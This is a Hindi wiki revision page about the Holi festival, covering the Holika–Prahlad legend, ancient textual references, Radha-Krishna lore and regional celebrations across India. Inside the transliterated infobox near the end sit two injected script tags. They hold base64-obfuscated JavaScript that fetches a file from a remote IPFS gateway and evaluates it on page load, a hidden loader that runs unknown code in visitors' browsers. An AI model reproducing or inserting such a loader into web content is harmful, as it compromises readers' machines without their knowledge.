Difference between revisions of "होली महोत्सव"

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<div class="holibg" style="color:#cd1da6; padding:2px;">
{{सूचना बक्सा होली}}
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होली [[भारत]] के प्रमुख चार त्योहारों ([[दीपावली]], [[रक्षाबंधन]], होली और [[दशहरा]]) में से एक है। होली जहाँ एक ओर सामाजिक एवं धार्मिक है, वहीं [[रंग|रंगों]] का भी त्योहार है। आवाल वृद्ध, नर- नारी सभी  इसे बड़े उत्साह से मनाते हैं। इसमें जातिभेद-वर्णभेद का कोई स्थान नहीं है। इस अवसर पर लकड़ियों तथा कंडों आदि का ढेर लगाकर होलिकापूजन किया जाता है। फिर उसमें आग लगायी जाती है। पूजन के समय मंत्र उच्चारण किया जाता है।
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|-valign="top"
==इतिहास==
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प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में भी मनाया जाता है। [[पुराण|पुराणों]] में वर्णित है कि हिरण्यकशिपु ने अपनी बहन होलिका वरदान के प्रभाव से नित्य अग्निस्नान करती और जलती नहीं थी हिरण्यकशिपु ने अपनी बहन होलिका से [[प्रह्लाद]] को गोद में लेकर अग्निस्नान करने को कहा। उसने समझा कि ऐसा करने से प्रह्लाद अग्नि में जल जाएगा तथा होलिका बच जाएगी। होलिका ने ऐसा ही किया, किंतु होलिका जल गयी, प्रह्लाद बच गये। होलिका को यह स्मरण ही नहीं रहा कि अग्नि स्नान वह अकेले ही कर सकती है। तभी से इस त्योहार के मनाने की प्रथा चल पड़ी।
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====आरम्भिक शब्दरूप====
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यह बहुत प्राचीन उत्सव है। इसका आरम्भिक शब्दरूप होलाका था।<ref>जैमिनि, 1।3।15-16</ref>  [[भारत]] में पूर्वी भागों में यह शब्द प्रचलित था। [[जैमिनि]] एवं शबर का कथन है कि होला का सभी [[आर्य|आर्यो]] द्वारा सम्पादित होना चाहिए। [[काठकगृह्य]]<ref>73,1</ref> में एक सूत्र है 'राका होला के', जिसकी व्याख्या टीकाकार देवपाल ने यों की है-'होला एक कर्म-विशेष है जो स्त्रियों के सौभाग्य के लिए सम्पादित होता है, उस कृत्य में राका (पूर्णचन्द्र) देवता है।'<ref>राका होलाके। काठकगृह्य (73।1)। इस पर देवपाल की टीकायों है: 'होला कर्मविशेष: सौभाग्याय स्त्रीणां प्रातरनुष्ठीयते। तत्र होला के राका देवता। यास्ते राके सुभतय इत्यादि।'</ref> अन्य टीकाकारों ने इसकी व्याख्या अन्य रूपों में की है। होला का उन बीस क्रीड़ाओं में एक है जो सम्पूर्ण [[भारत]] में प्रचलित हैं। इसका उल्लेख वात्स्यायन के कामसूत्र<ref>कामसूत्र, 1।4।42</ref> में भी हुआ है जिसका अर्थ टीकाकार जयमंगल ने किया है। फाल्गुन की पूर्णिमा पर लोग श्रृंग से एक-दूसरे पर रंगीन जल छोड़ते हैं और सुगंधित चूर्ण बिखेरते हैं। हेमाद्रि<ref>काल, पृ. 106</ref> ने बृहद्यम का एक श्लोक उद्भृत किया है।  जिसमें होलिका-पूर्णिमा को हुताशनी (आलकज की भाँति) कहा गया है। [[लिंग पुराण]] में आया है- 'फाल्गुन पूर्णिमा को 'फाल्गुनिका' कहा जाता है, यह बाल-क्रीड़ाओं से पूर्ण है और लोगों को विभूति (ऐश्वर्य) देने वाली है।' [[वराह पुराण]] में आया है कि यह 'पटवास-विलासिनी' (चूर्ण से युक्त क्रीड़ाओं वाली) है। <ref>लिंगपुराणे। फाल्गुने पौर्णमासी च सदा बालविकासिनी। ज्ञेया फाल्गुनिका सा च ज्ञेया लोकर्विभूतये।। वाराहपुराणे। फाल्गुने पौर्णिमास्यां तु पटवासविलासिनी। ज्ञेया सा फाल्गुनी लोके कार्या लोकसमृद्धये॥ हे. (काल, पृ. 642)। इसमें प्रथम का.वि. (पृ. 352) में भी आया है जिसका अर्थ इस प्रकार है-बालवज्जनविलासिन्यामित्यर्थ: </ref>
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====होलिका दहन====
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{{होली महोत्सव}}
{{Main|होलिका दहन}}
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पूर्ण चंद्रमा (फाल्गुनपूर्णिमा) के दिन ही प्रारंभ होता है। इस दिन सायंकाल को होली जलाई जाती है। इसके एक माह पूर्व अर्थात् माघ पूर्णिमा को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। इसी अलाव को होली कहा जाता है। होली की अग्नि में सूखी पत्तियाँ, टहनियाँ, व सूखी लकड़ियाँ डाली जाती हैं, तथा लोग इसी अग्नि के चारों ओर नृत्य व [[संगीत]] का आनन्द लेते हैं। 
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====होली और राधा-कृष्ण की कथा====
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{{होली विडियो महोत्सव}}
भगवान श्रीकृष्ण तो सांवले थे, परंतु उनकी आत्मिक सखी [[राधा]] गौरवर्ण की थी। इसलिए बालकृष्ण प्रकृति के इस अन्याय की शिकायत अपनी माँ [[यशोदा]] से करते तथा इसका कारण जानने का प्रयत्न करते। एक दिन यशोदा ने श्रीकृष्ण को यह सुझाव दिया कि वे राधा के मुख पर वही [[रंग]] लगा दें, जिसकी उन्हें इच्छा हो। नटखट श्रीकृष्ण यही कार्य करने चल पड़े। आप चित्रों व अन्य भक्ति आकृतियों में श्रीकृष्ण के इसी कृत्य को जिसमें वे राधा व अन्य गोपियों पर रंग डाल रहे हैं, देख सकते हैं। यह प्रेममयी शरारत शीघ्र ही लोगों में प्रचलित हो गई तथा होली की परंपरा के रूप में स्थापित हुई। इसी ऋतु में लोग राधा व कृष्ण के चित्रों को सजाकर सड़कों पर घूमते हैं। [[मथुरा]] की होली का विशेष महत्त्व है, क्योंकि [[मथुरा]] में ही तो कृष्ण का जन्म हुआ था।
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==अन्य प्रान्तों में होली==
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आनन्दोल्लास से परिपूर्ण एवं अश्लील गान-नृत्यों में लीन लोग जब अन्य प्रान्तों में होलिका का उत्सव मनाते हैं तब बंगाल में दोलयात्रा का उत्सव होता है। देखिए शूलपाणिकृत 'दोलयात्राविवेक।' यह उत्सव पाँच या तीन दिनों तक चलता है। पूर्णिमा के पूर्व चतुर्दशी को सन्ध्या के समय मण्डप के पूर्व में अग्नि के सम्मान में एक उत्सव होता है। गोविन्द की प्रतिमा का निर्माण होता है। एक वेदिका पर 16 खम्भों से युक्त मण्डप में प्रतिमा रखी जाती है। इसे पंचामृत से नहलाया जाता है, कई प्रकार के कृत्य किये जाते हैं, मूर्ति या प्रतिमा को इधर-उधर सात बार डोलाया जाता है। प्रथम दिन की प्रज्वलित अग्नि उत्सव के अन्त तक रखी जाती है। अन्त में प्रतिमा 21 बार डोलाई या झुलाई जाती है। ऐसा आया है कि इन्द्रद्युम्न राजा ने [[वृन्दावन]] में इस झूले का उत्सव आरम्भ किया था। इस उत्सव के करने से व्यक्ति सभी पापों से मुक्त हो जाता है।  शूलपाणि ने इसकी तिथि, प्रहर, नक्षत्र आदि के विषय में विवेचन कर निष्कर्ष निकाला है कि दोलयात्रा पूर्णिमा तिथि की उपस्थिति में ही होनी चाहिए, चाहे उत्तराफाल्गुनी नक्षत्र हो या न हो। होलिकोत्सव के विषय में नि. सि.<ref>नि. सि., पृ. 227</ref>, [[स्मृतिकौस्तुभ]]<ref>स्मृतिकौस्तुभ, पृ. 516-519), पृ. चि. (पृ. 308-319</ref> आदि निबन्धों में वर्णन आया है।
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{{होली बाहरी कड़ियाँ महोत्सव}}
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{{सूचना बक्सा होली}} 
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देश के कई अलग-अलग प्रान्तों में होली को अलग अलग नामों से जाना जाता है और बड़े ही निराले अंदाजों में मनाया जाता है। आइये जानते है की किस प्रान्त का क्या है निराला अंदाज़  होली भारत ही नहीं बल्कि पुरे विश्व के कोने कोने में मनाई जाती है बस ढंग अलग है [[भारत]] के प्रान्तों में होली के ढंग क्या है और होली रंग क्या है आइये जानते हैं कि किस प्रान्त में कैसे मनती है होली? <ref name="visit">{{cite web |url=http://www.visfot.com/index.php/story_of_india/3036.html?print |title=हर जगह होली सिर्फ़ होली है |accessmonthday=[[10 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=visfot.com |language=[[हिन्दी]]}}</ref>
 
====आंध्र प्रदेश की होली====
 
वैसे तो दक्षिण भारत में उत्तर भारत की तरह की रंगों भरी होली नहीं मनाई जाती है फिर भी सभी लोग हर्षोल्लास में शामिल रहते है उत्तर भारत से इतर दक्षिण में नवयुवक शाम को एकत्रित हो कर गुलाल से होली खेलते है और बड़ों का आशीर्वाद लेते है. [[आंध्र प्रदेश]] के बंजारा जनजतियों का होली मनाने का अपना निराला तरीका है। यह लोग अपने विशिष्ट अंदाज में मनोरम नृत्य प्रस्तुत करते है। 
 
==== तमिलनाडु की होली====
 
इसी प्रकार [[तमिलनाडु]] में होली को कमाविलास, कमान पंदिगाई एवं काम - दहन के नाम से जाना जाता है, यहाँ के लोगो का मानना है कि [[कामदेव]] के तीर के कारण ही [[शिव]] को [[पार्वती]] से प्रेम हुआ था और भगवान शिव का विवाह देवी पार्वती से हुआ था, मगर तीर लगने से क्रोधित शिव जी ने कामदेव को भस्म कर दिया था तब [[रति]] के आग्रह पर देवी पार्वती ने उन्हें पुनर्जीवित किया और जिस दिन कामदेव पुनर्जिवित हुए उस दिन को होली के रूप में मानते है। इसीलिए तमिलनाडु में होली को काम पंदिगाई के नाम से जाना जाता है। यहाँ होली को प्रेम के पर्व के रूप में मनाया जाता है।<ref name="visit"></ref>
 
====उत्तर प्रदेश की होली==== 
 
{{मथुरा होली चित्र सूची}}
 
[[उत्तर प्रदेश]] में होली का त्योहार बड़े ही हर्ष और उल्लास से मनाया जाता है। उत्तर प्रदेश के कोने कोने में होली की धूम देखते ही बनती है, होली के दिन क्या बड़े और क्या छोटे सभी को हर प्रकार के मजाक बाज़ी की पूर्ण छूट होती है और लोग इसका जमकर लुफ्त भी उठाते हैं।  छेड़- छाड़, चुहल बाज़ी, गीत संगीत यहाँ तक की गाली गलोज तक को भी जायज़ माना जाता है, यहाँ होली पर [[रंग]] और गुलाल के आलावा तरह तरह के व्यंजन का भी बोलबाला रहता है गुझिया, दही वड़े, मठरी और इन सब से बढ़ कर ठंडाई और उसके साथ भांग रंगों के सुरूर को दोगुना कर देती है, रात को [[होलिका दहन]] के बाद अगले दिन सुबह रंगों के साथ गीली होली खेली जाती है, और शाम को अबीर और गुलाल से समां सराबोर होता है , उत्तर प्रदेश में [[वृन्दावन]] और [[मथुरा]] की होली का अपना ही महत्त्व है , इस त्योहार को किसानो द्वारा फसल काटने के उत्सव एक रूप में भी मनाया जाता है। [[गेहूँ]] की बालियों को आग में रख कर भूना जाता है और फिर उसे खाते है , होली की अग्नि जलने के पश्चात बची राख को रोग प्रतिरोधक भी माना जाता है।  इन सब के अलावा उत्तर प्रदेश के मथुरा, वृन्दावन क्षेत्रों की होली तो विश्वप्रसिद्ध है। मथुरा में बरसाने की होली प्रसिद्ध है।  [[बरसाना]] श्री [[राधा]] जी का गाँव है जो मथुरा शहर से क़रीब 42 किमी अन्दर है, यहाँ एक अनोखी होली खेली जाती अहि जिसका नाम है लट्ठमार होली बरसाने में ऐसी परंपरा हैं कि श्री [[कृष्ण]] के गाँव [[नंदगाँव]] के पुरुष बरसाने में घुसने और राधा जी के मंदिर में ध्वज फहराने की कोशिश करते है और बरसाने की महिलाएं उन्हें ऐसा करने से रोकती है  और डंडों से पीटती है और अगर कोई मर्द पकड़ जाये तो उसे महिलाओं की तरह श्रींगार करना होता है और सब के समुख नृत्य करना पड़ता है , फिर इसके अगले दिन बरसाने के पुरुष नंदगाँव जा कर वहाँ की महिलाओं पर रंग डालने की कोशिश करते हैं, यह होली उत्सव क़रीब सात दिनों तक चलता है। इसके अलावा एक और उल्लास भरी होली होती है, वो है वृन्दावन की होली यहाँ [[बाँके बिहारी मंदिर]] की होली और गुलाल कुंद की होली बहुत महत्त्वपूर्ण है वृन्दावन की होली में पूरा समां प्यार की ख़ुशी से सुगन्धित हो उठता है क्योंकि ऐसी मान्यता है कि होली पर रंग खेलने की परंपरा श्री राधाजी व श्री कृष्ण जी द्वारा ही शुरू की गई थी।<ref name="visit"></ref> 
 
====बंगाल और उड़ीसा की होली====
 
[[पश्चिम बंगाल|बंगाल]] में होली को डोल यात्रा व डोल पूर्णिमा कहते है और होली के दिन श्री राधा और कृष्ण की प्रतिमाओं को डोली में बैठाकर पूरे शहर में घुमाते है और औरते उसके आगे नृत्य करती है यह भी अपने आप में एक अनूठी होली है बंगाल में होली को बसंत पर्व कहते है। इसकी शुरुआत [[ रवीन्द्र नाथ टैगोर]] ने [[शान्ति निकेतन]] में की थी। [[उड़ीसा]] में भी होली को डोल पूर्णिमा कहते है और भगवान जगन्नाथ जी की डोली निकाली जाती है।
 
====राजस्थान की होली==== 
 
यहाँ मुख्यत: तीन प्रकार की होली होती है। '''माली होली'''- इसमें माली जात के मर्द औरतों पर पानी डालते है और बदले में औरतें मर्दों की लाठियों से पिटाई करती है। इसके अलावा गोदाजी की '''गैर होली''' और [[बीकानेर]] की '''डोलची होली''' भी बेहद खुबसूरत होती हैं। <ref name="visit"></ref>
 
==== पंजाब की होली ====
 
[[पंजाब]] में होली को होला मोहल्ला कहते है और इसे निहंग सिख मानते है। इस मौके पर घुड़सवारी, तलवारबाज़ी आदि का आयोजन होता है।
 
==== हरियाणा की होली==== 
 
[[हरियाणा]] की होली भी बरसाने की लट्ठमार होली जैसी ही होती है। बस फ़र्क़ सिर्फ़ इतना है कि यहाँ देवर भाभी को रंगने की कोशिश करते है और बदले में भाभी देवर की लाठियों से पिटाई करती है। यहाँ होली को दुल्हंदी कहते है।
 
==== दिल्ली वालों की दिलवाली होली==== 
 
दिल्ली की होली तो सबसे निराली है क्योंकि राजधानी होने की वजह से यहाँ पर सभी जगह के लोग अपने ढंग होली मानते है जो आपसी समरसता और सौहार्द का स्वरूप है, वैसे दिल्ली में नेताओ की होली की भी खूब धूम होती है।<ref name="visit"></ref>
 
==== कर्नाटक में होली समारोह==== 
 
[[कर्नाटक]] में यह त्योहार '''कामना हब्बा''' के रूप में मनाया जाता है। इस दिन भगवान [[शिव]] ने [[कामदेव]] को अपने तीसरे नेत्र से जला दिया था। इस दिन कूड़ा-करकट फटे वस्त्र, एक खुली जगह एकत्रित किए जाते हैं तथा इन्हें अग्नि को समर्पित किया जाता है। आस-पास के सभी पड़ोसी इस उत्सव को देखने आते हैं।
 
 
इसके अलावा [[बिहार]] की '''फगुआ होली''', [[महाराष्ट्र]] की '''रंगपंचमी''', [[गोवा]] की '''शिमगो''' (दरअसल [[कोंकणी भाषा|कोंकणी]] बोली में होली को शिमगो कहते है ), [[गुजरात]] की '''गोविंदा होली''', और पश्चिमी पूर्व की बिही जनजाति की होली की धूम भी निराली है।
 
 
==होली चित्र वीथिका==
 
==होली चित्र वीथिका==
 
{{बलदेव होली चित्र सूची}}
 
{{बलदेव होली चित्र सूची}}
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चित्र:Holi-1.jpg|बाज़ार में विभिन्न रंगो का दृश्य  
 
चित्र:Holi-1.jpg|बाज़ार में विभिन्न रंगो का दृश्य  
 
चित्र:Krishna Janm Bhumi Holi Mathura 1.jpg|होली, [[कृष्ण जन्मभूमि]], [[मथुरा]]
 
चित्र:Krishna Janm Bhumi Holi Mathura 1.jpg|होली, [[कृष्ण जन्मभूमि]], [[मथुरा]]
चित्र:Gujia.jpg|गुझिया
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चित्र:Gujia.jpg|[[गुझिया]]
 
चित्र:Krishna Janm Bhumi Holi Mathura 3.jpg|होली, [[कृष्ण जन्मभूमि]], [[मथुरा]]
 
चित्र:Krishna Janm Bhumi Holi Mathura 3.jpg|होली, [[कृष्ण जन्मभूमि]], [[मथुरा]]
 
चित्र:Holi-Radha-Krishna.jpg|कृष्ण होली लीला
 
चित्र:Holi-Radha-Krishna.jpg|कृष्ण होली लीला
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{{seealso|मथुरा होली चित्र वीथिका|बरसाना होली चित्र वीथिका|बलदेव होली चित्र वीथिका}}
 
{{seealso|मथुरा होली चित्र वीथिका|बरसाना होली चित्र वीथिका|बलदेव होली चित्र वीथिका}}
==होली विडियो==
 
 
{{होली विडियो}}
 
 
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==उपयोगी बाहरी वेबसाइट एवं कड़ियाँ==
 
{{होली बाहरी कड़ियाँ}}
 
====होली पर फ़िल्माये प्रसिद्ध गीत====
 
*[http://www.youtube.com/watch?v=rm17BPGvZSc रंग बरसे भीगे चुनर वाली]
 
*[http://www.youtube.com/watch?v=tI_bIaVtvZ4 होली खेले रघुबीरा अवध में]
 
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
 
==बाहरी कड़ियाँ==
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
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{{होली}}{{होली विडियो}}
[[Category:महोत्सव]]
 
  
 
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[[Category:होली]]

Latest revision as of 13:20, 30 March 2013

parichay

holi bharat ke pramukh char tyoharoan (dipavali, rakshabandhan, holi aur dashahara) mean se ek hai. holi jahaan ek or samajik evan dharmik hai, vahian rangoan ka bhi tyohar hai. aval vriddh, nar- nari sabhi ise b de utsah se manate haian. isamean jatibhed-varnabhed ka koee sthan nahian hai. is avasar par lak diyoan tatha kandoan adi ka dher lagakar holikapoojan kiya jata hai. phir usamean ag lagayi jati hai. poojan ke samay mantr uchcharan kiya jata hai.

itihas

prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean bhi manaya jata hai. puranoan mean varnit hai ki hiranyakashipu ne apani bahan holika varadan ke prabhav se nity agnisnan karati aur jalati nahian thi hiranyakashipu ne apani bahan holika se prahlad ko god mean lekar agnisnan karane ko kaha. usane samajha ki aisa karane se prahlad agni mean jal jaega tatha holika bach jaegi. holika ne aisa hi kiya, kiantu holika jal gayi, prahlad bach gaye. holika ko yah smaran hi nahian raha ki agni snan vah akele hi kar sakati hai. tabhi se is tyohar ke manane ki pratha chal p di.

bahari k diyaan

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holi ka tyauhar kaise manaya jay Flickr.com holi ke din (shole)
holi ki kahaniyaan Holifestival holi khele raghuvira -bagaban
holi aee re... rediff.com holi
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rang gulal n holi hoti theholidayspot rangoan ka tyohar holi 2010 oota (amerika)
holi dgreetings.com mumbee ki holi
holi par kavitaoan ka sangrah google.co.in holi ka jashn
holi mahotsav
any nam dol yatra ya dol poornima (pashchim bangal), kaman podigee (tamilanadu), hola mohalla (panjab), kamana habba (karnatak), phagua (bihar), rangapanchami (maharashtr), shimago (gova), dhuleandi (hariyana), govianda holi (gujarat), yosaang holi (manipur) adi.
anuyayi hindoo, bharatiy, bharatiy pravasi
uddeshy dharmik nishtha, samajik ekata, manoranjan
prarambh pauranik kal
tithi phalgun poornima
utsav rang khelana, hu dadang, mauj-masti
anushthan holika dahan
prasiddhi latthamar holi (barasana)
sanbandhit lekh braj mean holi, holika, holika dahan, krishna, radha, gopi, hiranyakashipu, prahlad, gulal, daooji ka huranga, phalen ki holi, rangabharani ekadashi adi.
varsh 2024 sal 2024 mean holika dahan shubh muhoort 24 march ko rat 11 bajakar 13 minat se der rat 12 bajakar 27 minat tak hai. 25 march ko holi kheli jayegi.
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

holi chitr vithika

baladev holi ke vibhinn drishy

  1. REDIRECTsaancha:inhean bhi dekhean

sanbandhit lekh